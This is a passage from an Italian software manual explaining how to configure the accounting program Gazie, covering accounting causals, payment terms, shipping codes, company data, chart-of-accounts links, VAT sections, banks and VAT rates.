Le causali di contabilità, ovvero la catalogazione delle descrizioni da usare nelle scritture in prima nota, si trova in un elenco raggiungibile attraverso la funzione `Contabilità`, `Causali contabili`. In generale, per fare delle scritture a mano, attraverso le registrazioni in prima nota, non servono le causali già codificate, mentre diventano indispensabili per la contabilizzazione automatica dei documenti (fatture ed effetti). L'elenco delle causali predefinite di Gazie è molto breve, ma sufficiente.

Tabella 125.53. Causali di contabilità predefinite di Gazie. Si può osservare che il codice con cui si individuano è alfanumerico.

Codice	Descrizione	Registro IVA	Operazione nel registro IVA
VER	Versamento su c/c bancario	--	--
VCO	Vendita corrispettivi	corrispettivi	somma
FND	Nota di debito a cliente	vendite	somma
ANC	Nota di accredito da fornitore	acquisti	sottrae
FNC	Nota di accredito a cliente	vendite	sottrae
FAI	Fattura immediata a cliente	vendite	somma
FAD	Fattura differita a cliente	vendite	somma
AFA	Fattura di acquisto	acquisti	somma

125.4.8 Tipi di pagamento

I tipi di pagamento sono raccolti in una tabella accessibile attraverso la funzione `Archivi di base`, `Pagamenti`. Per ogni tipo di pagamento si specifica una «decorrenza», da intendere come la scadenza della prima rata, ma si possono escludere dei mesi particolari dalle scadenze.

Tabella 125.54. Tipi di pagamento previsti secondo la configurazione proposta dell'azienda. Il codice usato per classificare i tipi di pagamento è numerico, ma il tipo si seleziona sempre con l'aiuto di un menù a tendina, contenente le descrizioni.

Codice	Descrizione	Scadenza della prima rata	Rate	Cadenza delle rate successive alla prima
1	Vista fattura	0	1	--
3	Rimessa diretta 30 g.d.f.	30	1	--
4	Rimessa diretta 60 g.d.f.	60	1	--
7	Ricevuta bancaria 30 g.d.f.	30	1	--
8	Ricevuta bancaria 60 g.d.f.	60	1	--
11	Cambiale tratta 30 g.d.f.	30	1	--
12	Cambiale tratta 60 g.d.f.	60	1	--

125.4.9 Codici relativi all'accompagnamento della merce

Il menù `Archivi di base` raccoglie altre tabelle relative alla spedizione della merce: `Spedizioni`, `Vettori`, `Imballi`, `Porti`. In tutte queste tabelle appare una voce con codice 99 e descrizione nulla: «--». Questa voce consente di compilare i campi della spedizione quando la spedizione non c'è o comunque quando la compilazione non avrebbe senso.

Tabella 125.55. Tipi di spedizione previsti secondo la configurazione proposta.

Codice	Denominazione
1	A mezzo del destinatario
2	A mezzo del vettore
3	A mezzo del mittente
99	(spedizione non specificata)

Tabella 125.56. Vettori previsti secondo la configurazione proposta.

Codice	Vettore
11	Martino trasporti
12	Corriere Calpurnio
99	(vettore non specificato)

Tabella 125.57. Tipi di imballo secondo la configurazione proposta.

Codice	Vettore
1	Scatole di cartone
2	Sacchi di plastica
3	Alla rinfusa
99	(imballo non specificato)

Tabella 125.58. Tipi di porto secondo la configurazione proposta.

Codice	Vettore
1	FMV - franco magazzino venditore
2	FMC - franco magazzino compratore
99	(porto non specificato)

125.4.10 Configurazione della scheda riepilogativa dell'azienda

La funzione `Archivi di base`, `Azienda`, consente di accedere a una scheda di configurazione in cui si definiscono i dati anagrafici dell'azienda e tante altre informazioni, collegate alle altre tabelle di configurazione. Si tratta della parte della configurazione più importante e delicata di tutto il sistema di gestione.

125.4.10.1 Informazioni anagrafiche e dati principali

Dell'azienda amministrata è necessario conoscere la ragione sociale, l'indirizzo, il codice fiscale e la partita IVA, il codice REA (il numero di iscrizione al registro delle imprese delle camere di commercio), se trattasi di persona fisica o giuridica; inoltre serve un logo, costituito da un'immagine di piccole dimensioni, da usare per le stampe, incluse quelle dei documenti da trasmettere all'esterno (come le fatture di vendita).

Nelle informazioni ulteriori dei dati principali dell'azienda, si trova anche il codice dell'attività, per fini fiscali (⟨*http://www.studioripa.it/utilità/codiciattività.htm*⟩ e ⟨*http://www.studioripa.it/utilità/codicidescrizione.htm*⟩) e il regime di contabilità (ordinaria o semplificata).

125.4.10.2 Magazzino

Nella scheda dell'azienda sono incluse alcune informazioni relative alla gestione del magazzino, riepilogate dalla tabella successiva:

Campo	Compilazione
Numero decimali sulla quantità	Cifre decimali da usare per esprimere le quantità caricate e scaricate. È possibile scegliere anche una rappresentazione in virgola mobile.
Numero decimali sui prezzi	Cifre decimali da usare per i prezzi.
Metodo di valorizzazione del magazzino.	Valorizzazione del magazzino, al costo medio, LIFO o FIFO.
Ricerca articoli per	Consente di specificare in che modo deve essere fatta la ricerca degli articoli, quando è necessario selezionarli. Questa ricerca avviene attraverso l'inserimento di un prefisso iniziale, il quale può essere riferito alla descrizione dell'articolo, al codice di questo, oppure al codice a barre.
Contabilità magazzino	Si specifica se si vuole una contabilizzazione automatica in magazzino, oppure manuale, o nulla. In generale è opportuna una contabilizzazione automatica.

125.4.10.3 Definizione dei conti di mastro di clienti, fornitori e banche

Nel piano dei conti sono incorporate le informazioni su clienti, sui fornitori e sui conti correnti bancari. Per consentire una gestione ordinata di queste cose, è necessario dichiarare alla procedura quali sono i conti di mastro stabiliti per queste funzioni. Nella configurazione definita all'inizio del capitolo, i clienti sono raccolti nel mastro 103000000, i fornitori nel mastro 212000000 e i conti correnti bancari nel mastro 197000000.

125.4.10.4 Associazione alla contabilità generale

Per consentire la generazione automatica di alcune scritture in contabilità generale, è necessario dichiarare quali sono i conti effettivi da usare per certe funzioni. Le tabelle successive descrivono queste associazione con l'esempio della configurazione proposta.

Tipo di conto	Associazione al piano dei conti	Annotazioni
Cassa contanti/assegni	108000030 Denaro in cassa	
IVA sugli acquisti	106000001 IVA n/credito	
IVA sulle vendite	215000001 IVA n/debito	
IVA sui corrispettivi	215000001 IVA n/debito	
IVA liquidazione	588000010 IVA c/liquidazione	

Tipo di conto	Associazione al piano dei conti	Annotazioni
Imponibile delle vendite	420000006 Merci c/vendite	Si tratta evidentemente di un'azienda mercantile; in caso di azienda industriale è appropriato il conto «prodotti c/vendite».
Spese di trasporto	420000003 Rimborsi spese di vendita	Si tratta delle spese di trasporto addebitate nelle fatture di vendita ai clienti.
Spese di imballo	420000003 Rimborsi spese di vendita	Si tratta delle spese di imballo addebitate nelle fatture di vendita ai clienti.
Spese di incasso effetti	420000003 Rimborsi spese di vendita	Si tratta delle spese di incasso addebitate nelle fatture di vendita ai clienti, per i pagamenti che prevedono l'emissione di effetti.
Spese varie	420000003 Rimborsi spese di vendita	Si tratta di spese di altro genere, addebitate nelle fatture di vendita ai clienti.
Bolli su effetti	420000003 Rimborsi spese di vendita	Si tratta di spese per bolli su effetti (cambiali tratte), addebitate nelle fatture di vendita ai clienti.

Tipo di conto	Associazione al piano dei conti	Annotazioni
Omaggi	330000012 Premi su acquisti	Omaggi dai fornitori.
Imponibile acquisti	330000004 Merci c/acquisti	Si tratta evidentemente di un'azienda mercantile; in caso di azienda industriale è appropriato un conto del tipo «materie prime c/acquisti».
Acquisto trasporti	315000001 Costi di trasporto	
Acquisto imballaggi	(non assegnato)	
Acquisti vari	(non assegnato)	
Portafoglio RiBa	105000007 Cambiali all'incasso	Si tratta della contabilizzazione delle ricevute bancarie. Utilizzando il conto «cambiali all'incasso», si intende che l'emissione viene fatta per portare gli effetti in banca per l'incasso.
Portafoglio tratte	105000007 Cambiali all'incasso	Si tratta della contabilizzazione delle cambiali tratte. Utilizzando il conto «cambiali all'incasso», si intende che l'emissione viene fatta per portare gli effetti in banca per l'incasso.
Portafoglio cambiali	105000005 Cambiali attive	Attualmente non viene usato e non è più presente nella versione 4 di Gazie.

125.4.10.5 Registri e serie di numerazione

Gazie offre la possibilità di distinguere la numerazione dei documenti che vanno annotati nei registri IVA, in tre serie distinte, definite «sezioni». In pratica, ammesso che si vogliano gestire numerazioni separate, conviene utilizzare le tre serie per distinguere tra fatture differite, fatture immediate (semplici o accompagnatorie), fatture a privati, così come è stato previsto originariamente per Gazie. Al momento dell'emissione di una fattura differita, viene proposto l'inserimento nella sezione uno; per la fattura immediata si prende in considerazione la configurazione prevista nella tabella dell'azienda, ma anche questa può essere modificata all'ultimo momento. Nella tabella successiva si raccolgono le descrizioni dei vari campi relativi alla gestione dei registri e delle sezioni, ovvero delle serie di numerazione.

Campo	Compilazione
Ultime pagine di: riepilogo IVA, libro giornale, libro degli inventari	Si tratta di tre campi, per annotare il numero dell'ultima pagina stampata nel riepilogo IVA, nel libro giornale e nel libero degli inventari. Il valore iniziale è zero.
Ultime pagine dei registri delle fatture di vendita	Si tratta di tre campi, per annotare il numero dell'ultima pagina stampata nei registri IVA delle vendite, nelle tre serie o sezioni disponibili.
Ultime pagine dei registri delle fatture di acquisto	Si tratta di tre campi, per annotare il numero dell'ultima pagina stampata nei registri IVA degli acquisti, nelle tre serie o sezioni disponibili.
Descrizione sezione 1	La descrizione sintetica del ruolo della prima sezione. La configurazione originale di Gazie prevede per questa sezione le fatture differite.
Descrizione sezione 2	La descrizione sintetica del ruolo della seconda sezione. La configurazione originale di Gazie prevede per questa sezione le fatture immediate (normali o accompagnatorie).
Descrizione sezione 3	La descrizione sintetica del ruolo della terza sezione. La configurazione originale di Gazie prevede per questa sezione le fatture ai privati, con scontrino.
Sezione fatture immediate	Per consentire la gestione corretta degli automatismi nelle registrazioni delle fatture, questa voce serve a stabilire quale deve essere la sezione (serie) per le fatture immediate. Tra le opzioni disponibili merita attenzione quella denominata «sezione del report». Quando ci si trova alla funzione *Vendite*, *Fatture*, si ottiene un elenco delle fatture già emesse (ammesso che ce ne siano) e la possibilità di selezionare tale elenco in base alla sezione. Se da lì si richiede di emettere una fattura immediata e nella tabella azienda è attiva la voce già menzionata, tale fattura viene emessa nella stessa sezione.

Nella configurazione dell'azienda proposta, si prevede l'uso di una sola sezione: la prima.

125.4.10.6 Altre informazioni

Campo	Compilazione
Percentuale d'acconto IVA	Percentuale dell'acconto IVA da versare.
Aliquota imposta di bollo su tratte	Percentuale dell'imposta di bollo sulle tratte. Per esempio, il 12 ‰ si scrive '`1.2`', ovvero il 1,2 %. Per il momento non è possibile specificare l'arrotondamento del bollo, che quindi è fisso.
Spese incasso RiBa da addebitare	Si tratta delle spese di incasso da addebitare per ogni tipo di effetto.
IVA trimestrale/mensile	Serve a specificare la cadenza con cui vanno prodotte le stampe dei registri IVA.
Aliquota IVA preminente	L'aliquota IVA usata più frequentemente.
Interessi su IVA trimestrale	Interessi da calcolare quando l'IVA viene calcolata trimestralmente.

125.5 Riferimenti

- Antonio de Vincentiis, *Gazie: gestione azienda*
  ⟨*http://www.devincentiis.it/?page_id=8* ⟩
  ⟨*http://gazie.sourceforge.net/* ⟩
  ⟨*http://sourceforge.net/projects/gazie/* ⟩
- *WampServer*
  ⟨*http://www.wampserver.com* ⟩
- *XAMPP*
- ⟨*http://gazie.informaticalibera.net* ⟩

[1] **Gazie** GNU GPL

[2] Allo stato attuale, se è possibile, è preferibile WampServer per il miglior funzionamento di Gazie; con XAMPP, invece, possono manifestarsi degli errori che normalmente sono inesistenti.

[3] **XAMPP** GNU GPL

[4] **WampServer** GNU GPL

[5] Si usano nomi di fantasia per non fare pubblicità occulta, nel momento in cui negli esercizi si usa una banca rispetto a un’altra.

Capitolo 126

Manuale sintetico delle funzionalità principali di Gazie

126.1 Archivi di base 8478

126.1.1 Azienda 8479
126.1.2 Banche di appoggio 8483
126.1.3 Conti correnti bancari 8484
126.1.4 Aliquote IVA 8485
126.1.5 Pagamenti 8486
126.1.6 Spedizioni 8487
126.1.7 Vettori 8488
126.1.8 Imballi 8489
126.1.9 Porti 8489
126.1.10 Utenti 8490

126.2 Home 8492

126.3 Contabilità 8493

126.3.1 Conti 8493
126.3.2 Prima nota 8496
126.3.3 Contabilità: causali contabili 8503
126.3.4 Libro giornale 8504
126.3.5 Registri IVA 8505

126.4 Fine anno 8506

126.4.1 Bilancio 8507
126.4.2 Bilancio CEE 8509
126.4.3 Chiusura e apertura 8511

126.5 Magazzino 8512

126.5.1 Causali 8512
126.5.2 Categorie merciologiche 8512
126.5.3 Articoli 8513
126.5.4 Movimenti 8517
126.5.5 Giornale e schede 8521
126.5.6 Listini e cataloghi 8523
126.5.7 Statistiche 8527

126.6 Vendite 8528

126.6.1 Clienti 8528
126.6.2 D.d.T. 8530

126.6.3 Fatture 8534
126.6.4 Note di credito e di debito 8537
126.6.5 Effetti attivi 8538

126.7 Acquisti 8543

126.7.1 Fornitori 8543

126.1 Archivi di base

La funzione `Archivi di base` porta a un menù di voci relative alla gestione di tabelle che riguardano la procedura nel complesso. Tuttavia, non tutte le tabelle di codifica dei dati sono raccolte in questa funzionalità; per esempio, il piano dei conti, i clienti e i fornitori, si trovano raccolti in contesti differenti. Negli «archivi di base» la tabella più importante è quella che descrive i dati principali dell'azienda, con l'associazione ad altre tabelle, come il piano dei conti, per l'esecuzione di operazioni automatiche.

Una caratteristica importante e particolare della gestione di Gazie è costituita dal modo in cui vengono numerati i documenti. Questo concetto deve essere noto prima di poter affrontare gli «archivi di base», perché vi si fa riferimento già nella configurazione dell'azienda.

Gazie numera i documenti relativi alla vendita (DDT, fatture e note di accredito o di addebito) in modo indipendente; pertanto, la numerazione che deve poi apparire nei registri IVA (in tal caso i DDT non vengono considerati) deve essere riattribuita con un numero di protocollo. In altri termini, il numero di emissione dei documenti della vendita non può essere equivalente al numero di protocollo del registro IVA.

I registri IVA possono essere suddivisi in serie. Convenzionalmente, la serie di numerazione dei registri si effettua con una lettera alfabetica, per cui il documento 21/C delle vendite è il ventunesimo del registro IVA «C» delle vendite. Gazie però definisce le serie di numerazione

come «sezioni» e le numera con una cifra numerica. Pertanto, il documento 21/C viene rappresentato come 21/3. Inoltre, con Gazie la serie (la sezione) appare sempre e non è possibile farne a meno se se ne intende gestire una sola.

126.1.1 Azienda

Archivi di Base | Azienda | C/C bancari | Aliquote IVA | Pagamenti | Banche | Spedizioni | Vettori | Imballi | Porti | Utenti
Lista Aziende installate
Crea nuova azienda

La funzione `Archivi di base`, `Azienda`, consente di accedere alla scheda di configurazione dei dati anagrafici dell'azienda e tante altre informazioni, collegate alle altre tabelle di configurazione. Si tratta della parte della configurazione più importante e delicata di tutto il sistema di gestione.

In dati in questione si riferiscono all'azienda attiva. Eventualmente, con la voce `Archivi di base`, `Azienda`, `Lista aziende installate`, è possibile accedere all'elenco delle aziende esistenti per intervenire nei dati di un'azienda non attiva.

Figura 126.4. Esempio di compilazione della funzione `Archivi di base`, `Azienda`.

Campo	Valore
Ragione Sociale 1*	Azienda per le esercitazioni
Ragione Sociale 2	
*	Immagine (solo in formato PNG, circa 400x400 max 64kb) * Browse...
Legale rappresentante	
Sesso/pers.giuridica *	G - Giuridica
Data di nascita	26 Gennaio 2004
Luogo di nascita - Provincia	Treviso TV
Indirizzo *	piazza della Vittoria 3/4
Codice Postale *	31100
Città - Provincia *	TREVISO TV
Nazione	IT - ITALIA
Sede legale	
Telefono	
Fax	
Codice Fiscale *	80011540269
Partita I.V.A.	80011540269
R.E.A.	
e mail	
Codice attività (ATECOFIN)	0

Regime contabile	0 - Ordinario
Nº decimali sulla quantità	Float
Nº decimali sui prezzi	2
Metodo di valorizzazione magazzino	Prezzo medio ponderato
Mastro clienti	103000000 - CREDITI V/CLIENTI
Mastro fornitori	212000000 - DEBITI V/FORNITORI
Mastro banca	197000000 - CONTI BANCARI
Conto cassa	108000030 - Denaro in cassa
Conto I.V.A. acquisti	106000001 - IVA ns/credito
Conto I.V.A. vendite	215000001 - IVA ns/debito
Conto I.V.A. corrispettivi	215000001 - IVA ns/debito
Conto I.V.A. liquidazione	588000010 - IVA c/liquidazione
Conto imponibile vendite	420000006 - Merci c/vendite
Conto spese di trasporto	420000003 - Rimborsi costi di vendita
Conto spese di imballo	420000003 - Rimborsi costi di vendita
Conto spese incasso effetti	420000003 - Rimborsi costi di vendita
Conto spese varie	420000003 - Rimborsi costi di vendita
Conto bolli su effetti	420000003 - Rimborsi costi di vendita
Conto omaggi	330000012 - Premi su acquisti
Conto imponibile acquisti	330000004 - Merci c/acquisti
Conto acquisto trasporti	315000001 - Costi di trasporto
Conto acquisto imballi	----------
Conto acquisti vari	----------
Conto portafoglio Ri.Ba	105000007 - Cambiali all'incasso
Conto portafoglio Tratte	105000007 - Cambiali all'incasso
Conto portafoglio Cambiali	105000005 - Cambiali attive
Conto ritenute subite	106000003 - Crediti per ritenute subite
% Ritenuta	0.0
Ultima pagina riepilogativo IVA	0
Ultima pagina Libro Giornale	0
Ultima pagina Libro Inventari	0
Ultime pagine registri Fatture Vendita	Sez. IVA 1: 0 Sez. IVA 2: 0 Sez. IVA 3: 0
Ultime pagine registri Fatture degli Acquisti	Sez. IVA 1: 0 Sez. IVA 2: 0 Sez. IVA 3: 0
Ultime pagine registri Corrispettivi	Sez. IVA 1: 0 Sez. IVA 2: 0 Sez. IVA 3: 0
Percentuale d'acconto I.V.A. (%)	88.0
Importo bollo su ricevute	1.81
Aliquota imposta di bollo su tratte (%)	1.20
Arrotondamento bolli	5 - centesimi
Spese incasso RIBA da addebitare	0.00
Descrizione della Sez. IVA 1	FATTURE
Descrizione della Sez. IVA 2	
Descrizione della Sez. IVA 3	
Sezione delle Fatture Immediate	1 - Propone sempre 1
Ricerca articoli per	D - Descrizione
Template set dei documenti	Templates
Colore sfondo documenti	FFD6FF Cambia
Contabilità di magazzino	2 - Automatica
Periodicità liquidazione IVA	M - Mensile
Aliquota preminente	1 - IVA al 20%
Interessi su IVA Trimestrale	1.0
I campi contrassegnati con * sono obbligatori!	Indietro ! MODIFICA !

Tabella 126.5. Alcuni campi relativi alle informazioni anagrafiche e generali dell'azienda.

Campo	Compilazione
Ragione sociale	Ragione sociale dell'azienda amministrata.
Logo aziendale	È necessario attribuire un logo aziendale, costituito da una piccola immagine in formato PNG, la quale deve essere **priva di trasparenze** e può avere al massimo una dimensione di 64 Kibyte.
Sesso o persona giuridica.	Con una lettera, '`M`', '`F`' o '`G`', si indica il sesso della persona o il fatto che si tratti di una personalità giuridica.
REA	Si tratta del codice dell'attività, per fini fiscali: si veda eventualmente ⟨*http://www1.agenziaentrate.it/documentazione/atecofin/ATECOFIN2004_Tavola_di_raccordo.pdf*⟩.

Tabella 126.6. Informazioni relative alla gestione del magazzino.

Campo	Compilazione
Numero decimali sulla quantità	Cifre decimali da usare per esprimere le quantità caricate e scaricate. È possibile scegliere anche una rappresentazione in virgola mobile.
Numero decimali sui prezzi	Cifre decimali da usare per i prezzi.
Metodo di valorizzazione del magazzino.	Valorizzazione del magazzino, la quale può essere al costo medio, LIFO o FIFO.
Ricerca articoli per	Consente di specificare in che modo deve essere fatta la ricerca degli articoli, quando è necessario selezionarli. Questa ricerca avviene attraverso l'inserimento di un prefisso iniziale, il quale può essere riferito alla descrizione dell'articolo, al codice di questo, oppure al codice a barre.
Contabilità magazzino	Si specifica se si vuole una contabilizzazione automatica in magazzino, oppure manuale, o nulla. In generale è opportuna una contabilizzazione automatica.

Tabella 126.7. Definizione dei conti di mastro di clienti, fornitori e banche

Tipo di conto	Annotazioni
Mastro clienti	Codice del mastro utilizzato per raccogliere i clienti nel piano dei conti.
Mastro fornitori	Codice del mastro utilizzato per raccogliere i fornitori nel piano dei conti.
Mastro banche	Codice del mastro utilizzato per raccogliere i conti correnti bancari.

Tabella 126.8. Associazione a conti della contabilità generale.

Tipo di conto	Annotazioni
Cassa contanti/assegni	Conto usato per il denaro in cassa.
IVA sugli acquisti	Conto usato per l'IVA sulle fatture di acquisto.
IVA sulle vendite	Conto usato per l'IVA sulle fatture di vendita.
IVA sui corrispettivi	
IVA liquidazione	
Imponibile delle vendite	Conto economico usato per le vendite di materie o di merci.
Spese di trasporto	Spese di trasporto addebitate nelle fatture di vendita ai clienti.
Spese di imballo	Spese di imballo addebitate nelle fatture di vendita ai clienti.
Spese di incasso effetti	Spese di incasso addebitate nelle fatture di vendita ai clienti, per i pagamenti che prevedono l'emissione di effetti.
Spese varie	Spese di altro genere, addebitate nelle fatture di vendita ai clienti.

Tipo di conto	Annotazioni
Bolli su effetti	Spese per bolli su effetti (cambiali tratte), addebitate nelle fatture di vendita ai clienti.
Omaggi	Omaggi dai fornitori.
Imponibile acquisti	Conto economico usato per gli acquisti di materie o di merci.
Acquisto trasporti	Costi di trasporto nelle fatture di acquisto.
Acquisto imballaggi	Costi per imballaggi nelle fatture di acquisto.
Acquisti vari	
Portafoglio RiBa	Conto usato per la contabilizzazione delle ricevute bancarie. Utilizzando il conto «cambiali all'incasso», si intende che l'emissione viene fatta per portare gli effetti in banca per l'incasso.
Portafoglio tratte	Conto usato per la contabilizzazione delle cambiali tratte. Utilizzando il conto «cambiali all'incasso», si intende che l'emissione viene fatta per portare gli effetti in banca per l'incasso.

Tabella 126.9. Registri e serie di numerazione. È possibile distinguere la numerazione dei documenti che vanno annotati nei registri IVA, in tre serie distinte, definite «sezioni». In pratica, ammesso che si vogliano gestire numerazioni separate, conviene utilizzare le tre serie per distinguere tra fatture differite, fatture immediate (semplici o accompagnatorie), fatture a privati. Al momento dell'emissione di una fattura differita, viene proposto l'inserimento nella sezione uno; per la fattura immediata si prende in considerazione la configurazione prevista nella tabella dell'azienda, ma anche questa può essere modificata all'ultimo momento.

Campo	Compilazione
Ultime pagine di: riepilogo IVA, libro giornale, libro degli inventari	Si tratta di tre campi, per annotare il numero dell'ultima pagina stampata nel riepilogo IVA, nel libro giornale e nel libero degli inventari. Il valore iniziale è zero.
Ultime pagine dei registri delle fatture di vendita	Si tratta di tre campi, per annotare il numero dell'ultima pagina stampata nei registri IVA delle vendite, nelle tre serie o sezioni disponibili.
Ultime pagine dei registri delle fatture di acquisto	Si tratta di tre campi, per annotare il numero dell'ultima pagina stampata nei registri IVA degli acquisti, nelle tre serie o sezioni disponibili.
Descrizione sezione 1	La descrizione sintetica del ruolo della prima sezione. La configurazione originale di Gazie prevede per questa sezione le fatture differite.
Descrizione sezione 2	La descrizione sintetica del ruolo della seconda sezione. La configurazione originale di Gazie prevede per questa sezione le fatture immediate (normali o accompagnatorie).
Descrizione sezione 3	La descrizione sintetica del ruolo della terza sezione. La configurazione originale di Gazie prevede per questa sezione le fatture ai privati, con scontrino.
Sezione fatture immediate	Per consentire la gestione corretta degli automatismi nelle registrazioni delle fatture, questa voce serve a stabilire quale deve essere la sezione (serie) per le fatture immediate. Tra le opzioni disponibili merita attenzione quella denominata «sezione del report». Quando ci si trova alla funzione `Vendite`, `Fatture`, si ottiene un elenco delle fatture già emesse (ammesso che ce ne siano) e la possibilità di selezionare tale elenco in base alla sezione. Se da lì si richiede di emettere una fattura immediata e nella tabella azienda è attiva la voce già menzionata, tale fattura viene emessa nella stessa sezione.

Tabella 126.10. Altre informazioni.

Campo	Compilazione
Percentuale d'acconto IVA	Percentuale dell'acconto IVA da versare.
Aliquota imposta di bollo su tratte	Percentuale dell'imposta di bollo sulle tratte. Per esempio, il 12 ‰ si scrive '`1.2`', ovvero il 1,2 %. Nella versione 4.0.3 di Gazie non è possibile specificare l'arrotondamento del bollo, che quindi è fisso.
Spese incasso RiBa da addebitare	Si tratta delle spese di incasso da addebitare per ogni tipo di effetto. Fino alla versione 4.0.3 di Gazie, l'addebito automatico delle spese di incasso non funziona e in tal caso è bene lasciare a zero questo valore.
IVA trimestrale/mensile	Serve a specificare la cadenza con cui vanno prodotte le stampe dei registri IVA.
Aliquota IVA preminente	L'aliquota IVA usata più frequentemente.
Interessi su IVA trimestrale	Interessi da calcolare quando l'IVA viene calcolata trimestralmente.

La voce `Archivi di base`, `Azienda`, `Lista aziende installate`, consente di accedere ai dati anagrafici di tutte le aziende, anche se non si tratta di quella attiva. Nella figura successiva ne appare disponibile una sola.

Figura 126.11. La funzione `Archivi di base`, `Azienda`, `Lista aziende installate`, porta alla visualizzazione dell'elenco delle aziende gestite.

ID	Ragione Sociale	Internet	Telefono	Regime	Periodicità IVA
1	Azienda per le esercitazioni			Ordinario	Mensile

La voce `Archivi di base`, `Azienda`, `Crea nuova azienda`, consente di creare una nuova azienda, condividendo il piano dei conti ed eventualmente gli altri «archivi di base».

Figura 126.12. La funzione `Archivi di base`, `Azienda`, `Crea nuova azienda`, porta all'inserimento di una nuova azienda.

Numero ID (codice)*	2	
Azienda di riferimento per il popolamento dei dati	1 - Azienda per le esercitazioni	
Creazione piano dei conti	1 - Si, ma senza clienti,fornitori e banche	
Popolamento degli archivi di base	1 - Si, ma senza vettori e imballi	
Abilita gli stessi utenti dell'azienda di riferimento	☑	
I campi contrassegnati con * sono obbligatori!	Indietro !	CONFERMA !

126.1.2 Banche di appoggio

Archivi di Base | Azienda | C/C bancari | Aliquote IVA | Pagamenti | Banche | Spedizioni | Vettori | Imballi | Porti | Utenti
Nuova banca d'appoggio

La gestione delle banche è suddivisa in tre parti: il mastro del piano dei conti, specificato nella tabella riepilogativa dei dati dell'azienda; la tabella delle banche di appoggio e la tabella dei conti correnti bancari. La tabella delle banche di appoggio serve a elencare le banche

dei clienti, con le informazioni necessarie per la compilazione delle fatture di vendita e per l'emissione degli effetti attivi. Si accede alla gestione delle banche di appoggio con la funzione `Archivi di base`, `Banche`; per inserire una nuova banca di appoggio si aggiunge la voce `Nuova banca di appoggio`.

Figura 126.14. La funzione `Archivi di base`, `Banche`, porta alla visualizzazione dell'elenco delle banche di appoggio esistenti, le quali possono essere selezionate per visualizzarne i dettagli ed eventualmente per modificarne i dati.

Codice	Descrizione	Città	Codice ABI	Codice CAB	Cancella
1	Banca della valle		0	0	✗
2	Banca della collina		0	0	✗
3	Banca del monte		0	0	✗
4	Banca del mare		0	0	✗
5	Banca del lago		0	0	✗

Figura 126.15. Maschera per l'inserimento o la modifica di una banca di appoggio.

Descrizione *	Banca della valle
Codice ABI*	0
Codice CAB*	0
Località	
Provincia	
Annotazioni	
I campi contrassegnati con * sono obbligatori!	Indietro ! MODIFICA !

126.1.3 Conti correnti bancari

Archivi di Base | Azienda | C/C bancari | Aliquote IVA | Pagamenti | Banche | Spedizioni | Vettori | Imballi | Porti | Utenti
Nuovo conto corrente bancario

I conti correnti bancari sono quelli intrattenuti dall'azienda gestita con i rispettivi istituti di credito. Le banche presso le quali sono gestiti tali conti correnti, devono essere già elencate tra le banche di appoggio. Si accede. Si accede alla gestione dei conti correnti bancari con la funzione `Archivi di base`, `C/C bancari`, da dove si ottiene la tabella con l'elenco di tali conti; per inserire un nuovo rapporto si aggiunge la voce `Nuovo conto corrente bancario`.

Figura 126.17. La funzione `Archivi di base`, `C/C bancari`, porta alla visualizzazione dell'elenco dei conti intrattenuti con gli istituti di credito, già catalogati. Selezionando un rapporto si ottiene la visualizzazione dei dettagli relativi e la possibilità di modificarli contestualmente.

Codice	Nome	IBAN	Città	Prov.	Telefono	Visualizza e/o stampa	Cancella
000021	Banca y c/c	IT30L0000000000000000000000	TREVISO	TV			✗
000020	Banca x c/c	IT30L0000000000000000000000	TREVISO	TV			✗

Figura 126.18. Maschera per l'inserimento o la modifica di un conto corrente bancario.

Codice (dal piano dei conti)	197 000020
Descrizione *	Banca x c/c
Banca d'appoggio (selezionare in luogo della descrizione)	Banca della valle
Indirizzo *	Piazza del lavoro, 1
CAP *	31100
Città - Provincia *	TREVISO TV
Nazione	IT - ITALIA
Codice IBAN *	IT30L0000000000000000000000
Sede legale	
Telefono	
Fax	
e-mail	
Annotazioni	
Annulla	Indietro MODIFICA !

I conti correnti bancari definiti in questo modo, appartengono in pratica ai conti della contabilità generale, nel mastro stabilito per questo nella tabella che descrive i dati principali dell'azienda. In altri termini, i codici dei conti correnti bancari sono in pratica i conti usati nel piano dei conti.

Nell'elenco dei conti correnti bancari che si vede nella prima figura, la colonna denominata «visualizza o stampa» contiene dei riferimenti ipertestuali che portano alla visualizzazione del partitario (mastrino) del conto bancario relativo, ottenuto in pratica dalle scritture presenti in contabilità generale.

126.1.4 Aliquote IVA

Archivi di Base | Azienda | C/C bancari | Aliquote IVA | Pagamenti | Banche | Spedizioni | Vettori | Imballi | Porti | Utenti

Nuova aliquota IVA

La funzione `Archivi di base`, `Aliquote IVA`, porta alla tabella dei vari tipi di IVA utilizzabili. Eventualmente, l'aggiunta della voce `Nuova aliquota IVA` porta alla maschera di inserimento di una nuova aliquota.

Figura 126.20. La funzione `Archivi di base`, `Aliquote IVA`, porta alla visualizzazione dell'elenco dei tipi di aliquote già definiti. Selezionando il codice di un'aliquota si ottiene la visualizzazione dei dettagli e la possibilità di modificarli contestualmente.

Codice	Descrizione	Tipo	Percentuale	Cancella
1	IVA al 20%	Imponibile	20.0	✗
2	IVA al 10%	Imponibile	10.0	✗
3	IVA al 4%	Imponibile	4.0	✗
4	ESCLUSA art. 15	Escluso	0.0	✗
5	NON IMPONIBILE art. 8 c. 2	Non Imponibile	0.0	✗
6	IVA al 20% INDETRAIBILE	Indetraibile	20.0	✗
7	IVA al 10% INDETRAIBILE	Indetraibile	10.0	✗
8	IVA al 4% INDETRAIBILE	Indetraibile	4.0	✗
9	ESENTE art. 10	Esente	0.0	✗
10	FUORI CAMPO IVA art. 2 c. 3	Non Soggetto	0.0	✗
11	FUORI CAMPO IVA art. 3 c. 4	Non Soggetto	0.0	✗
12	FUORI CAMPO IVA art. 4	Non Soggetto	0.0	✗
13	FUORI CAMPO IVA art. 5	Non Soggetto	0.0	✗
14	NON IMPONIBILE art. 41	Non Imponibile	0.0	✗
15	NON IMPONIBILE art. 8	Non Imponibile	0.0	✗
16	NON IMPONIBILE art. 8bis	Non Imponibile	0.0	✗
17	NON IMPONIBILE art. 9	Non Imponibile	0.0	✗
18	NON SOGGETTA art. 7	Non Soggetto	0.0	✗
19	NON SOGGETTA art. 26	Non Soggetto	0.0	✗

Figura 126.21. Maschera per l'inserimento o la modifica di un'aliquota IVA.

Codice	1
Tipo IVA	I - Imponibile
Descrizione	IVA al 20%
% aliquota	20.0
Annotazioni	
Indietro Annulla	CONFERMA

126.1.5 Pagamenti

Archivi di Base | Azienda | C/C bancari | Aliquote IVA | Pagamenti | Banche | Spedizioni | Vettori | Imballi | Porti | Utenti
Nuova condizione di pagamento

